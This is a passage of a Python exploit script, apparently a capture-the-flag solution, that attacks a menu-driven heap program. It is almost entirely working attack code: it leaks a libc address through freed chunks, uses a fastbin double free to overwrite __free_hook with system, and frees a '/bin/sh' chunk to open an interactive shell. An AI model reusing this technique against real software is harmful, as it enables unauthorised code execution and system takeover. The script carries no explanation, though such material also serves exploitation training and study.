    sendline_after_clean(str(size), b"Size: ")
    sendline_after_clean(content)

def remove(index: int) -> None:
    sendline_after_clean(b"2", b">")
    sendline_after_clean(str(index), b"Index: ")
    
def show(index: int):
    sendline_after_clean(b"3", b">")
    sendline_after_clean(str(index), b"Index: ")

# def change(index: int, content: bytes) -> None:
#     sendline_after_clean(b"4")
#     sendline_after_clean(str(index))
#     sendline_after_clean(content)

allocate(0, 0x80, "/bin/sh\x00")
allocate(1, 0x80, "/bin/sh\x00")
allocate(2, 0x80, "/bin/sh\x00")
allocate(3, 0x80, "/bin/sh\x00")
allocate(4, 0x80, "/bin/sh\x00")
allocate(5, 0x80, "/bin/sh\x00")
allocate(6, 0x80, "/bin/sh\x00")
allocate(7, 0x80, "/bin/sh\x00")
allocate(8, 0x80, "/bin/sh\x00")

remove(0)
remove(1)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)

show(7)
main_arena_offset = 0x1ECB80
base_addr = recv_and_transform() - main_arena_offset - 96
system_addr = base_addr + libc.sym['system']
hook_addr = base_addr + libc.sym['__free_hook']
suclog(
    "base_addr",
    "system_addr",
    "hook_addr"
)

allocate(0, 0x10, "/bin/sh\x00")
allocate(1, 0x10, "/bin/sh\x00")
allocate(2, 0x10, "/bin/sh\x00")
allocate(3, 0x10, "/bin/sh\x00")
allocate(4, 0x10, "/bin/sh\x00")
allocate(5, 0x10, "/bin/sh\x00")
allocate(6, 0x10, "/bin/sh\x00")
allocate(7, 0x10, "/bin/sh\x00")
allocate(9, 0x10, "/bin/sh\x00")
allocate(10, 0x10, "/bin/sh\x00")
remove(0)
remove(1)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)
# gdb.attach(p)


remove(9)
remove(10)
remove(9)

allocate(0, 0x10, "/bin/sh\x00")
allocate(1, 0x10, "/bin/sh\x00")
allocate(2, 0x10, "/bin/sh\x00")
allocate(3, 0x10, "/bin/sh\x00")
allocate(4, 0x10, "/bin/sh\x00")
allocate(5, 0x10, "/bin/sh\x00")
allocate(6, 0x10, "/bin/sh\x00")
suclog(
    "base_addr",
    "system_addr",
    "hook_addr"
)
allocate(9, 0x10, pg(hook_addr))
# gdb.attach(p)
allocate(10, 0x10, pg(hook_addr))
allocate(11, 0x10, pg(hook_addr))
allocate(12, 0x10, pg(system_addr))

remove(8)
        
interactive_after_clean()